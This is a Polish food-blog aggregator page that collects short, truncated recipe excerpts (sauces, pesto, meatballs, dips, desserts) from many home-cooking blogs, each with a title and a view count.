obiecałam dziś przepis na pesto z rukoli. Dla niewtajemniczonych pesto to zielony sos pochodzący z Genui we Włoszech. Jego głównym składnikiem jest bazylia, orzeszki piniowe i oliwa. Podawany jest do makaronu, sera lub chleba. Czytaj więcej

Wiem co jem
.524. brownie z zielonego 157

jedno porcjowe brownie z awokado, z czekoladą i sosem toffi~  inspiracja . Zmiany: dodałam jeszcze dodatkowe 15g czekolady :3 Wracam do szkoły :( Na dwa dni - jaki w tym sens?! Whatever, byle do 20 stycznia! (ferie

breakfast of dreams
chow mein z orzechowym tofu i brokułem 184

porcje ~75g makaronu chow mein ~300g brokuła ~1/2 kostki (90g) tofu naturalnego lub marynowanego ~marynata do tofu: 20g masła orzechowego, 1-2 łyżki wody, 1-2 łyżki sosu sojowego Tofu owinąć w kilka warstw ręcznika papierowego i odcisnąć wodę. Pokroić w kostkę. Masło orzechowe rozpuścić. Składniki marynaty dokładnie połączyć (masło orzechowe po dodaniu płynu może zbić się w twardą masę

chili & sugar
wegańskie i bezglutenowe mini-pasztety fasolowe z żurawiną 207

20cm ~2 puszki (500g) białej fasoli, *można ugotować ją samemu jeśli wolcie* ~3 łyżki oleju rzepakowego ~50g suszonej żurawiny ~przyprawy: majeranek, pieprz czarny/ziołowy, suszony czosnek ~2 łyżki sosu sojowego Tamari ~8 listków laurowych Fasolę odsączamy z zalewy i płuczemy na sicie, następnie mielimy/blendujemy/miksujemy. Dodajemy pozostałe składniki i mieszamy łyżką. Masę nakładamy do silikonowych foremek na muffiny (nie próbowałam piec

chili & sugar
Makaron z sosem orzechowo-śmietanowym 129

znowu ja będę musiał rządzić kuchnią. Heh, takie życie :) Tym razem szperając po internecie Madzia natknęła się na  http://slodkapasja.blox.pl . A tam z kolei zauważyła tytułowy makaron z sosem orzechowym. Tak wizualnie to może nie jest jakoś wielce śliczny (ot, makaron jak makaron), ale smak ma niepowtarzalny. Prawdę mówiąc nigdy dotąd nie jadłem takiego połączenia smaków. Makaron z nutką

Marder&Marder Manufacture
Majonez domowy 187

burgerze. Wczoraj był keczup, dzisiaj majonez. Bo ani bez keczupu, ani bez majonezu (najlepiej takich domowych właśnie) idealny burger nie istnieje. Warto poświęcić parę chwil i zrobić takie domowe sosy, bo są naprawdę pyszne. Te sklepowe kompletnie się nie umywają. Zrobione samemu to zupełnie inna liga. Z tym, że o ile taki keczup postoi w lodówce pewnie dość długo

Marder&Marder Manufacture
Pikantny sos śliwkowy do mięs i wędlin 147

wiadomo co zrobić, to trzeba przerobić na coś co może długo postać. My użyliśmy papryczki suszone, ale jeżeli macie świeże to również doskonale się sprawdzą w tym sosie. No i oczywiście śliwki nie musza być mrożone :) Potrzebujemy: 2 kg śliwek ok. 10 ostrych papryczek 3 cm kawałek imbiru 4 ząbki czosnku 250 g cukru 1 szklanka octu 2 łyżki soli

Marder&Marder Manufacture
Pappardelle i kurczak w sosie serowym 332

oknem dziś pięknie, słoneczko świeci, dlatego postawiłam na iście wiosenne kolory :)  Jeśli przejadły ci się klasyczne filety, możesz zrobić duszone w sosie serowym podane z grubym makaronem pappardelle, będzie oryginalnie i bardzo smacznie, dodatek chili tylko zaostrza smak i apetyt! Składniki 250 g makaronu pappardelle 500 g fileta z kurczaka 1/2 pora 1/2 papryczki chili czerwonej 4 łyżki oliwy

Wanilia i Kardamon
Cynaderki wieprzowe w sosie z czerwoną cebulą 229

Przesmażamy wszystko przez około 2 minuty, następnie zalewamy esencjonalnym bulionem. Wrzucamy również liść laurowy, ziele oraz pieprz ziarnisty. Na niewielkim ogniu dusimy mięso do momentu, aż będzie kruche, a sos zgęstnieje. W trakcie duszenia można uzupełniać delikatnie poziom płynu. Pod koniec duszenia przyprawiamy całość sokiem z cytryny oraz solą i pieprzem. Smakują świetnie z kiszonymi ogórkami i kaszą gryczaną

Kuchenna Kontrrewolucya
Bardzo prosty, staropolski sos z suszonych grzybów 172

grzyby miksujemy, jednak na niezbyt gładką masę. Z mąki i masła robimy zasmażkę i łączymy z płynem grzybowym. Dobrze mieszamy, by nie powstały grudki. Dorzucamy zmiksowane grzyby, a cały sos doprawiamy solą, pieprzem oraz szczyptą estragonu

Kuchenna Kontrrewolucya
Plince z pomoćką - warmińskie jadło 211

zmielić przez maszynkę lub przecisnąć przez praskę. Mieszamy go ze śmietaną, posiekaną dymką i zmiażdżonym czosnkiem. Doprawiamy solą oraz pieprzem do smaku. Gotowe placki podajemy na talerzu z porcją sosu posypaną szczypiorkiem tak, by można było je łatwo "pomaczać". ;) Święta nasza ojców mowo, Jakaż twoja moc, Że przetrwało polskie słowo Przez wiekową noc. M.Zientara-Malewska

Kuchenna Kontrrewolucya
Bardzo proste i szybkie pulpety w sosie pomidorowym 193

kartonika. Zasmażamy wszystko razem przez kilka minut, po czym przelewamy do garnka. Dodajemy do pomidorów wodę, tymianek, bazylię, oregano i uniwersalną przyprawę. Mieszamy dokładnie i doprowadzamy do wrzenia. Do sosu pomidorowego wrzucamy pulpety i gotujemy kilkanaście minut. Gotowe! Całość przygotowania zajmuje nie więcej, niż pół godziny, a nie obniża to wcale jakości tego dania

Kuchenna Kontrrewolucya
Pulpety drobiowe zapiekane z warzywami 220

warzywa nieco zmiękną, dodajemy pół puszki pomidorów i drobno pokrojone ząbki czosnku. Dusimy warzywa jeszcze ok 10 minut i podlewamy śmietaną. Zagotowujemy. Po przygotowaniu warzyw, przekładamy je (cały sos) do naczynia żaroodpornego, zatapiamy w nich pulpety i wstawiamy do nagrzanego piekarnika (180 st.) na ok 30-40 min. Można podać z ryżem lub makaronem. Artykuł Pulpety drobiowe zapiekane z warzywami

Ugotuj to sam ...
Makaron z truskawkami 218

Truskawki wymyć, obrać z szypułek i umieścić w wysokim naczyniu, zmiksować na puree. Dodać jogurt, cukier, wymieszać. Makaron ugotować w osolonej wodzie- tak jak zawsze. Wyłożyć porcję makaronu, polać sosem i udekorować całymi owocami.  Smacznego

Krakowskie smaki Ani
Sos z rukoli i awokado 195

Bardzo smaczny sos. Można w nim maczać warzywa lub pieczywo. Można doprawić nim sałatę - wtedy warto dodać nieco więcej oliwy. Będzie też dobry do makaronu. składniki 1 dojrzałe awokado 4 ząbki czosnku 50 g rukoli sok z 1 limonki garść liści bazylii 90 ml oliwy z oliwek sól, pieprz przygotowanie wszystkie składniki włożyć do blendera i zetrzeć na gładką masę

Stare Gary
Biały dip do warzyw 198

Jeżeli do warzywnych przekąsek czegoś brakuje to na pewno brakuje właściwego sosu. Oto prosty przepis na dip, który świeże lub gotowane warzywa zmieni w niebanalne danie. Składniki 3 łyżki jogurtu greckiego light garść rukoli kilka listków świeżej kolendry 1 ogórek kiszony 2 ząbki czosnku 1 łyżeczka ostrej musztardy (np. sarepskiej) kilka kropli soku z cytryny sól świeżo mielony pieprz Rukolę

My Chcemy Jeść
Oliwkowe zawijańce i dip z feta i pistacji 195

wszystkim i jestem z powrotem z przepisem na pyszne oliwkowe zawijańce i dip z feta. Wypiekanie chleba należy do moich ulubionych zajęć. Nie mniej lubię przyrządzać wszelkiego rodzaju sosy i dipy jak ten z feta i pistacji. Idealne dodatki do grilla i nie tylko, bo oliwkowy chlebek posmarowany dipem to idealne śniadanie czy kolacja. Polecam. Oliwkowe zawijańce Składniki

codojedzenia
Wiosenne gołąbki 314

wszystkich składników.  Całość zalać przegotowaną, gorącą wodą i przykryć liśćmi.  Gotować około 1 godziny.  Po tym czasie dodać ketchup, następnie gotować jeszcze 1/2 do 1 godziny. Sos można zaciągnąć śmietaną (ja wolę ten naturalny). Gołąbki można jeść same lub z młodymi ziemniakami. Smacznego

Garniec Magalie
SMACZNA ZAPIEKANKA MAKARONOWA Z PULPECIKAMI I BROKUŁEM 469

publikuję przepisy na zapiekanki ...jak kiedyś średnio nam smakowały, tak teraz nie możemy się nimi najeść :). Dzisiejsze danie jest bardzo syte i aromatyczne, dzięki pysznym pulpecikom i marinarze (rodzaj sosu pomidorowego). polecam :) Przepis ze zdjęciami krok po kroku . Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach

Przepisy Aleksandry
Indyjski sos (chutney) do słoików na zimę 169

Chutney jest to gęsty sos używany w kuchni indyjskiej. Sporządzany z owoców i warzyw, z rodzynkami,czosnkiem, owocami, czosnkiem itp. Używany do potraw mięsnych i wegetariańskich. W zależności od upodobań można przyrządzić łagodny lub pikantny. Składniki: 1 puszka ananasa ( 250 gram) 2 jabłka 2 gruszki 2 ząbki czosnku 5 dag rodzynek 2 szklanki cukru ¾ szklanki octu 1 łyżeczka soli szczypta

Tradycyjna Kuchnia
Sos żurawinowy z chrzanem do wędlin w 5 MINUT 138

Idealny sos do wędlin i innych mięsnych potraw. Wystarczy wymieszać, doprawić i gotowe- w 5 minut! Składniki: 1 szklanka dżemu żurawinowego, ½ szklanki startego chrzanu, 1 łyżka musztardy, sok z cytryny, sól do smaku, cukier do smaku. Wykonanie: Musztardę utrzeć z dżemem, chrzanem. Doprawić do smaku, dokładnie wymieszać

Tradycyjna Kuchnia
Sos pieczarkowy 165

śmietankę z serka, skrobię, mleko oraz około 3-4 łyżek wywaru z pieczarek patelnie z pieczarkami zestawiamy z ognia i cały czas mieszając dodajemy przygotowany w szklance mix na sos wstawiamy z powrotem na mały ogień i mieszamy, aż zgęstnieje i zacznie lekko bulgotać, ponownie doprawiamy SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
124. Goście, goście czyli: sałatka ekspresowo - kryzysowa. 471

kilka suszonych pomidorów w oleju 300g piersi z kurczaka garść suszonych śliwek oraz pestek dyni  Marynata do piersi kurczaka:  1/4 szklanki wody 1/4 szklanki oliwy 1/4 szklanki sosu sojowego  1/4 szklanki octu balsamicznego łyżka miodu (lub cukru) po 1 łyżeczce papryki słodkiej i chili 1 ząbek czosnku ulubione zioła - najlepiej świeże Dressing:  1/4 szklanki oleju słonecznikowego

Symfonia Smaków
Pulpety w sosie pomidorowym 182

pulpety z każdej strony na rumiano. Do zarumienionych pulpetów wlać passatę pomidorową. Przykryć patelnię pokrywką i dusić około 15 minut. W międzyczasie dodać pokrojone ząbki czosnku. Na koniec doprawić sos pomidorowy solą, pieprzem i oregano. Smacznego

kolorowotorcikowo
Kurczak marynowany w sosie arachidowym 209

lodówce na minimum 3 godziny (najlepiej na całą noc). Następnie mięso podsmażyć na oleju. Śmietanę wymieszać z wodą i mąka i dodać do mięsa, smażyć do czasu aż sos zgęstnieje. Smacznego

Krakowskie smaki Ani
Majonez 327

warunkach domowych wcale nie jest trudne. Daje nam przy tym zarówno możliwość precyzyjnego dopasowania smaku majonezu do naszych indywidualnych gustów, jak również daleko idącą kontrolę nad składem tego popularnego sosu. Sposobów na przygotowanie majonezu jest wiele. Przepis poniżej był z niewielkimi modyfikacjami stosowany w mojej rodzinie od dziesięcioleci, ale oczywiście to tylko jeden z możliwych wariantów. Wspólne dla wszystkich majonezów

Kulinarna Pokusa
979. Kakaowo-bananowe .. z fasoli. 205

Kakaowo-bananowe z fasoli gofry;  z gorzką czekoladą i sosem kakaowym* *gorzkie kakao, cukier puder, woda Zdjęcia trochę takie dziwne, trochę nie wyraźne, trochę prześwietlone (ja się pytam jak skoro pada za oknem? xd) ale wiecie, jedzenie takich gofrów, a robienie zdjęć? Prosta odpowiedź. Gofryyy <  3 Te z fasoli w szczególności skradły moje serce

More food, love and dreams
Sandacz w domowej odsłonie - marynowany w oliwie, pieprzu i oliwie. 263

bułki tartej. Smażymy na dobrze rozgrzanym oleju - dosłownie po kilka minut z każdej strony. Podajemy w ulubionym towarzystwie. U nas tym razem: pieczone talarki ziemniaczane i "na prędce" przygotowany sos chrzanowy . Sandacz pyszny. Ma tak dobre mięso, że chyba jedynie przypalenie jest w stanie go popsuć Mi sandacz zawsze będzie się kojarzył z wagarami spędzonymi wraz z Mężem na stawach

Kuchnia po mojemu
Pasta tuńczykowo-jajeczna 154

każdym razem otrzymamy inny smak :) No i przede wszystkim powinniśmy jeść ryby, bo są bardzo zdrowe i dostarczają nam wiele potrzebnych składników odżywczych. Składniki: 1 puszka tuńczyka w sosie własnym 5-6 jajek 2 łyżki keczupu 1 łyżka majonezu 1 łyżeczka soku z cytryny szczypta soli pieprz do smaku Sposób przygotowania: Jajka gotujemy na twardo, przelewamy zimną wodą, obieramy

Kolorowy Przepisownik
Wieprzowina po koreańsku z grilla dwaejibulgogi 252

ukochana wieprzowina, która dobrze zamarynowana i upieczona na grillu smakuje najlepiej. No otro, po koreańsku. Podana z ryżem, albo bez. W liściu lub na kanapce. Wzmocniona czosnkiem marynowanym lub sosem z … Czytaj dalej

slodkokwasnapl
Wszyscy lubią pesto… Pesto z rukoli z prażonymi pestkami dyni i serem Asiago 266

Jestem przekonana, że prawie każdy z was s próbował kiedyś pesto. Klasyczny, włoski sos wykonany z bazylii, orzeszków piniowych i parmezanu . Było pyszne , prawda? No więc próbowaliście je, ale wielu z was zapewne ciągle nie zdaje sobie sprawy , że pesto może być wykonywane w domu, w mniej więcej 5 minut . W tak też krótkim czasie może być wykonana moja kalifornijska

Jem więc Jestem
Kurczak w sosie brokułowym / Chicken in broccoli sauce 372

mięsa. Pieczarki i mięso zalać rosołem i gotować  10 minut. Dodać brokuły i dusić jeszcze 5 minut. Śmietanę wymieszać z mąką, wlać do garnka i gotować aż sos zgęstnieje. Życzę smacznego. Komentarze oraz lajki mile widziane :) (adsbygoogle = window.adsbygoogle || []).push

Świat Smaku
Sos pieczarkowy 154

dusić do miękkości na małym ogniu. Gdy pieczarki zmiękną całość zalać bulionem przygotowanym z kostki rosołowej. Jeśli pieczarki miały w sobie dużo wody bulionu możemy dać mniej. Na koniec sos zagęścić zaklepką przygotowaną z mąki i śmietany

Kuchenne aromaty
Surówka z czerwonej kapusty z sosem jogurtowym 206

każdej porze roku, zależy tylko co do niej dodamy. Ta dziś podana może służyć doskonale jako samodzielne danie, jest treściwa i sycąca. Zapraszam serdecznie. Surówka z czerwonej kapusty z sosem jogurtowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Zupa pomidorowa z korzeniem imbiru i pietruszką 166

korzeniem imbiru. Obłędnie smaczna, odżywcza i prosta w wykonaniu. Co nam trzeba: - korpus lub udko z kurczaka - Vegeta - koncentrat pomidorowy/ polecam Pudliszki - natka pietruszki - włoszczyzna - korzeń imbiru lub sos sojowy imbirowy - śmietana 12 volt/ opcjonalnie - ryż Gotujemy korpus w wodzie. Do powstałej bazy dodajemy włoszczyznę, jak się chwilę pogotuje to dodajemy koncentrat pomidorowy. Osobno zagotowujemy ryż. Na koniec gotowania

upichcona
Sos z kurek z piersią z kurczaka 213

dzień nie eksperymentuje z grzybami ale gdy na horyzoncie pojawiają się aromatyczne kurki to żal nie wyczarować z nich czegoś dla odmiany :) Sos z kurek robiłam po raz pierwszy i mimo obaw wyszło smakowicie! - 400g kurek - jedna podwójna pierś z kurczaka - makaron z pełnego ziarna - koperek - jogurt 0% - szczypta mąki - 1 cebula - bulion drobiowy - 2 ząbki czosnku Podsmażamy cebulkę wraz

upichcona
Makaron w sosie truskawkowym 194

nadchodzą upały to odechciewa mi się jeść ciepłe obiady...i w takich sytuacjach najlepiej sprawdza się coś na zimno, polecam zatem makaron w sosie owocowym. Blenduję 0,5 kg truskawek, 2 nektarynki oraz banana, dodaję śmietanę 18 volt oraz makaron. Mniam

upichcona
Szparagi z sosem z gorgonzolą 156

jagodzianka" Szparagi są moją ulubioną nowalijką, długo oczekiwaną przyjemnością. Są bogatym źródłem witamin (C, B2 oraz kwas foliowy) i składników mineralnych … Przeczytaj cały artykuł Post Szparagi z sosem z gorgonzolą pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Pulpeciki w sosie pomidorowym 169

kiedy nie ma czasu, kiedy wracamy później czy mamy mnóstwo rzeczy na głowie - wtedy myśli o robieniu zdjęć nie mają racji bycia! Dziś zapraszam Was na pyszne pulpeciki w sosie pomidorowym, idealne jako dodatek do spaghetti!  Bardzo polecam :) Składniki: 500 g mięsa mielonego (u mnie wieprzowo - wołowe), 2 małe ząbki czosnku, 1 łyżeczka soli, 3/4 łyżeczki suszonego oregano

Plate of Joy
Skrzydełka w słodko- pikantnej marynacie 489

Wpis pochodzi z www.mgotuje.pl Przepis na najlepsze skrzydełka! W marynacie z miodu, ostrej papryki, ketchupu i sosu sojowego. W smaku są słodko -pikantne. Smakują rewelacyjnie – polecam wypróbować przepis na najbliższy obiad Post Skrzydełka w słodko- pikantnej marynacie pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
grillowane szaszłyki 181

kawałki 3-4 cm. Na patyki do szaszłyków nakłuwamy kolejno: mięso-cebula-boczek-papryka-mięso- papryka boczek cebula-mięso. Tak przygotowane szaszłyki wkładamy na grilla. Gotowe podajemy z ulubionym sosem

Domowy Smak Jedzenia
Paella makaronowa z owocami morza i pikantnym sosem pikada 278

przygotowałam paellę z makaronu wygladem przypominającego ryż. W rezultacie takiej podmiany wyszło danie pyszne i wykwintne. Polecam gorąco danie kuchni hiszpańskiej. Paella makaronowa z owocami morza i pikantnym sosem pikada. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
957. Jesienne rozpoczęcie maja. 180

Jabłka smażone w cieście naleśnikowym;  z sosem karmelowym Dziurek w środku nie ma jak chciałam, ale za to mam więcej ciasta :D Zawsze trzeba widzieć jakieś plusy ;) Jakieś plany na majówkę? U mnie zwyczajnie, trochę lenistwa, trochę pracy. Bez żadnych specjalnych planów. Choć możliwe, że przyjedzie do mnie rodzina ;) Aaa, tym czasem modle się o ładną pogodę

More food, love and dreams
956. Mleczny serniczek, bo z mlekiem w proszku. 259

Gotowany  serniczek z mlekiem w proszku;  z (ciepłym) sosem rabarbarowo-truskawkowym  Podobno sezon na rabarbar powoli się zaczyna, to chyba znak, że pora dokończyć zamrażalnikowe zapasy z jego udziałem. Mleko w proszku mogłabym swoją drogą chyba palcem z torebki wyjadać i chyba muszę iść do sklepu po kolejne opakowanie, bo stale u mnie zagości. Serniczek wyszedł trochę

More food, love and dreams
Kuchnia Lidla: Trzy sosy-dipy do grilla – różowy, biały i śliwkowy 209

Trzy sosy-dipy do grilla – różowy, biały i śliwkowy (źródło: kuchanilidla.pl) Składniki na różowy dip: 1 szklanka majonezu Mikado 5 łyżek keczupu 2 ząbki czosnku, drobno posiekane lub przeciśnięte przez praskę 2 łyżki soku pomarańczowego sól, pieprz do smaku Składniki na śliwkowy dip: 1 szklanka majonezu Mikado 3 łyżki keczupu 2 ząbki czosnku, drobno posiekane lub przeciśnięte przez praskę

WojnaNaSmaki.pl
Mazurek cytrynowy 229

Można wypełnić kajmakiem, czekoladą, powidłami, dżemami, kremami, mogą być owocowe, kokosowe, karmelowe, z bakaliami i z wieloma innymi rzeczami. W tym przepisie chciałabym zaprosić do przygotowania mazurka cytrynowego z sosem lemon curd oraz gotowanymi cytrynami z syropu. Brzmi pracochłonnie? Nic bardziej mylnego. Mazurek prosty, stosunkowo szybki i tani w przygotowaniu. ... I co najważniejsze - jest obłędny! Słodki, kwaśny, kremowy, orzeźwiający

Jedzeniomania
Pierś z kurczaka w jogurtowym sosie z imbirem i cytryną 358

Smaż przez 3-4 minuty, a następnie obróć i smaż kolejne 2 minuty. Dolej jogurt do warzyw, sok z cytryny i imbir. Gdy mięso jest już gotowe, dołóż do sosu, podduś jeszcze 2 minuty, posyp natką. Odcedź i osusz ziemniaki, powinny być już miękkie. SMACZNEGO . Jedna porcja to około 550 kal. CMOK

Pasje Jolki
Zielony sos z natki pietruszki 132

wody, sok z 1 cytryny, sól, miód wielokwiatowy Natkę, pepperoni (z pestkami lub bez - zależy czy lubimy na bardzo ostro czy troszkę mniej),  czosnek, sok z cytryny zmiksować. Sos doprawić solą i miodem do smaku. zastawa

królestwo garów
Demi – glace - baza do sosów 236

gęstą „galaretę”. Można ja pokroić na kawałki, zawinąć w folię i schować do zamrażarki. Ja przelałam do torebek na kostki lodu i zamroziłam. Demi-glace jest podstawą do tworzenia sosów. Tak otrzymany demi-glace można przechowywać 2-3 miesiące w lodówce. zastawa

królestwo garów
Sałatka z makrelą i kolendrą oraz dressingiem musztardowym 222

Pisałam już kiedyś, że bardzo lubię kolendrę. Czas zatem na kolejny przepis z jej udziałem. Tym razem w połączeniu z makrelą. Proponuję pożywną sałatkę z gęstym sosem na bazie jogurtu z musztardą. Dodałam do niego nasiona chia (szałwii hiszpańskiej), ale to składnik, który nie daje smaku, więc można go pominąć. Ale o kolendrze zapomnieć nie można ;) No chyba że ktoś

Weekendy w domu i ogrodzie
Placuszki z marchwi 207

Szybkie, 5 składników, pyszne, zdrowe, smażone bez tłuszczu placuszki z marchwi z sosem jogurtowo - koperkowym będą pysznym śniadaniem albo obiadem. Sama nie przypuszczałam że z samej marchewki tak pyszne placki powstaną, zapraszam. Placuszki z marchwi. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
pesto niedźwiedzia 196

mniejsze kawałki i miksujemy blenderem. Dodajemy pestki słonecznika, miksujemy i dodajemy stopniowo oliwę. Gdy powstanie gładka masa doprawiamy solą, pieprzem oraz sokiem z cytryny. Pesto idealnie nadaje się jako sos do makaronów jak i również jako smarowidło do chleba

Domowy Smak Jedzenia
Musztarda przy obiedzie 267

zasadzie do obiadu. Wiele zup gotuję na udkach z kurczaka i nie zawsze mam ochotę podawać je potem w jakimś sosie. Czasem jest tak, że z bulionu czy innej czystej zupy odlewam po filiżance do popicia , a warzywa i mięso podaję z taką właśnie ,,musztardą ,,. Czytaj więcej

Buniabaje w kuchni
Smaczne kadry, czyli pomysł na małe przyjęcie chrzcinowe w fotograficznym skrócie 201

Emilki ;) Gotowe do podania Polędwiczki wśród Gości Czosnkowe grzanki do kremu z pomidorów Udziec pieczony ( zdołałam uchwycić tylko dwa kawałki bo tak szybko się rozszedł ;) w towarzystwie zieleniny i sosu jabłkowo - borówkowego A na słodki finał - lekki tort owocowy... ...i truskawkowe tiramisu Teściowej Nie udało mi się sfotografować przystawek, ani wszystkich słodkości, ale w końcu nie to wtedy było najważniejsze

Kuchnia po mojemu
Zakręcone spaghetti Siostry Ewy. Z szynki wieprzowej. 241

Dziś przedstawię przepis na standardowe danie obiadowo - makaronowe. Makaron w sosie pomidorowym z ziołami. Nic prostszego i nic smaczniejszego. Smakuje z każdym rodzajem mięsa i makaronu. To konkretne, o którym zaraz napiszę, powstało ze zmielonej szynki wieprzowej. Ze względów technicznych (łatwość spożycia dla małoletnich Ciapciaków) użyte zostały świderki, a przygotowywała je wspominana już nie raz Siostra Ewa. Oto powody tytułowego

Kuchnia po mojemu
Łososiowo - mięsne tortille na zimno. Kolacja bez kanapek nie tylko dla mięsożercy. Opcja idealna także na imprezową przekąskę c 279

rozkładamy dodatki: odrobinę łososia w kawałkach, korniszony w plastrach, ogórka zielonego pokrojonego w kostkę, ser żółty w kawałkach, rozdrobnioną wędlinę i co nam się tylko zamarzy. Możemy doprawić gęstym sosem czosnkowym. Tortillę zwijamy tak jak tą z samym łososiem. Kolacja bez kanapek gotowa. Może to być też nasze śniadanie do pracy czy szkoły. Wprawdzie najlepiej smakuje na świeżo

Kuchnia po mojemu
949. Pieczony krem z.. ciecierzycy! 171

Pieczony kakaowy krem z ciecierzycy*; z kakaowym sosem karmelowym *z dodatkiem banana Był i orzechowy, to jakby tu nie spróbować kakaowej wersji, obie pyszne, obie do powtórzenia. Następnym razem muszę tylko pamiętać, by dodać jeszcze trochę mleka do masy, bo kakao jednak trochę wciąga tej wilgoci :P  Idę lenić się dalej. (przynajmniej teraz mamy wolne, bo w maturki moje

More food, love and dreams
Spaghetti z pulpecikami 210

Wpis pochodzi z www.mgotuje.pl Na dzisiejszy obiad polecam wam makaron spaghetti z pulpecikami w aromatycznym sosie pomidorowym. Danie jest w miarę szybkie do zrobienia, syte i bardzo smaczne. Polecam   Post Spaghetti z pulpecikami pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
947. Kokosowy słoik. 160

Kokosowa nocna owsianka*;  z kakaowym sosem śliwkowym *z mleczkiem kokosowym, wiórkami kokosowymi, na mleku i jogurcie Powoli czyszczę do końca zamrażalkę z zapasów i czekam już na te świeże owoce ;)  Słoik do torby, a przede mną takie tam tylko 9 godz lekcji ( w całym tygodniu

More food, love and dreams
Placki ziemniaczane z pulled pork 260

której napiekłam tyle ze dla pułku wojska by starczyło i którą jedliśmy już od 3 dni, dlatego postanowił urozmaicić to danie i zrobił fajne przekładane nią placki ziemniaczane z sosem jogurtowym. Jak zawsze danie udane. Polecam. Takie placki przekładane możecie oczywiście zrobić z mięsem ze zwykłego gulaszu. Czytaj więcej

Bernika - moj kulinarny pamietnik
Na brązowo czyli grillowane tofu z makaronem gryczanym 201

Grillowane tofu z makaronem gryczanym, cebulką, czosnkiem i imbirem w sosie sojowym przyprószone skórką z cytryny, szczypiorkiem i czarnym sezamem Przepis już niedługo

wegetalerze
Majonez na bazie mleka sojowego 164

Majonez- obowiązkowy towarzysz ''jajek'' z groszkiem, niezastąpiony w sałatce jarzynowej, bezkonkurencyjny wielkanocny sos. Istnieje wiele przepisów na wegański majonez. Można go zrobić z tofu, ziaren, fasoli, ziemniaków, ryżu i wielu innych wymyślnych składników. Moim ulubionym jest najprostszy majonez na bazie mleka sojowego. Robi się go w mniej niż 5 minut i można mieć pewność, że sprawdzi

wegetalerze
Wiosenny jogurtowy sos-sałatka np. do pieczonych ziemniaków 388

dzieciństwie u dziadków jadali ziemniaki z zsiadłym mlekiem. Na domowe zsiadłe mleko liczyć nie mogę, ale od czego jest jogurt naturalny? ;) Do tego rzodkiewki i szczypiorek, i sos gotowy! :) Idealny na niedzielne słoneczne i wiosenne południe :) Składniki : 5 rzodkiewek 5 szczypiorków 3 łyżki jogurtu naturalnego Rzodkiewki pokroić na ćwiećtalarki. Rozdrobnić szczypiorek. Wszystko wymieszać z jogurtem. Superszybko. Superzdrowo :) I wiosennie

Weekendy w domu i ogrodzie
939. Bo czasami się wysilę & Kilka pomysłów na... 204

Pierogi kakaowe z twarogiem i wiśniami; jogurtem naturalnym i sosem wiśniowym Czadami nawet wysilę się i nawet pierogi z rana ulepie. I weź im potem dobre zdjęcie zrób zadanie prawie awykonalne. :P Lubię taką wiosnę jak wczoraj, dzisiaj trochę się chmurzy, ale po cichu modlę się, że jednak nie będzie padać :P I jak obiecałam tak przedstawiam wam kilka kolejnych

More food, love and dreams
Spaghetti z boczkiem i szpinakiem 223

czosnku. Gdy czosnek zacznie uwalniać mocny aromat, dodać serek mascarpone i zmiksowany szpinak - wymieszać. Całość doprawić do smaku solą, pieprzem i gałką muszkatołową. Makaron tuż przed podaniem połączyć z sosem. Smacznego

kolorowotorcikowo
Guacamole - Oryginalny Przepis 235

Guacamole - meksykański sos na bazie awokado - podany przepis jest przepisem bazowym. Do Guacamole możemy dodatkowo dodać pokrojona paprykę, papryczkę chili lub pomidory. Guacamole - Oryginalny Przepis - Składniki: 2 awokado 1 limonka (lub połowa cytryny) 1/2 średniej cebuli 2 ząbki czosnku 1/3 łyżeczki soli 1/3 łyżeczki mielonego kminku 1/3 łyżeczki pieprzu cayenne 1/3 łyżeczki kolendry szczypta pieprzu Guacamole - Oryginalny Przepis - Sposób przygotowania

Słodka Strona
Sos pomidorowo-jarzynowy 205

Kolejny przepis z zastosowaniem moich pomidorów to właśnie przepis na sos pomidorowo-jarzynowy pochodzący z książki Siostry Anastazji pt:,,153 Przetwory i Dani Mięsne". Rewelacyjny do kanapek, zapiekanek i wędlin Składniki: 1 kg pomidorów 25 dag jabłek 25 dag warzyw - marchew seler pietruszka 1 duża cebula 25 dag papryki 1 płaska łyżeczka musztardy 1 płaska łyżeczka mielonego pieprzu

Bea(u)ty kitchen
Śmietanowo-cytrynowa potrawka z kurczaka 224

przypaliła. Dodajemy rosół, mieszamy aż wszystko ładnie się połączy i zostawiamy do zagotowania. Dodajemy mieszając śmietanę i sok z cytryny. Wrzucamy pokrojoną pierś i doprowadzamy do wrzenia. Najlepiej zostawić sos na przynajmniej pół godziny żeby składniki się przegryzły

W kuchni bez szafek
Chrzan śmietankowy 178

dodatku, jak chrzan. Oczywiście najlepiej domowy, własnoręcznie starty, skropiony łzami :-). Idealny do jajek, wędliny, domowego pasztetu czy tradycyjnej białej kiełbasy. Na naszym stole pojawia się obowiązkowo, obok ćwikły czy sosu tatarskiego.   Chrzan śmietankowy Czas przygotowania: 10 minut Składniki: 1/2 szklanki świeżo startego chrzanu ok. 1/2 szklanki śmietany 18% 1 jajko ugotowane na twardo   szczypta cukru sól ew. kwasek

Kulinarne przygody Gatity
Pieczona pierś z indyka 158

Wpis pochodzi z www.mgotuje.pl Indyk pieczony w marynacie z sosu sojowego, miodu i powideł śliwkowych. Jest doskonałym dodatkiem na kanapki. Takie pieczone mięso jest bardzo smacznie i zdrowe. Polecam wszystkim przepis na święta Post Pieczona pierś z indyka pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Salsa pomidorowa (Pico de gallo) 312

Pico de gallo Obowiązkowym dodatkiem do większości potraw meksykańskich jest salsa (po hiszpańsku - sos). Pico de gallo, to obok Guacamole jedna z podstawowych. W dosłownym tłumaczeniu "pico de gallo" oznacza dziób koguta. Skąd taka nazwa? Według jednej z teorii od chwytania salsy palcem wskazującym i kciukiem, co przypominało właśnie dziób lub też dziobanie. Pico de gallo to rodzaj drobno posiekanej

Pełny talerz
Warzywne curry z pęczakiem 225

Curry czyli nazwa sposobu przyrządzania potraw w kuchni indyjskiej. Curry to warzywa, mięso, sery, ryby zanurzone w sosie. Tyle ile składników curry tyle jego postaci. Dziś zapraszam na moje curry warzywne, pyszne i zdrowe. Warzywne curry z pęczakiem. ROZWIŃ I CZYTAJ DALEJ

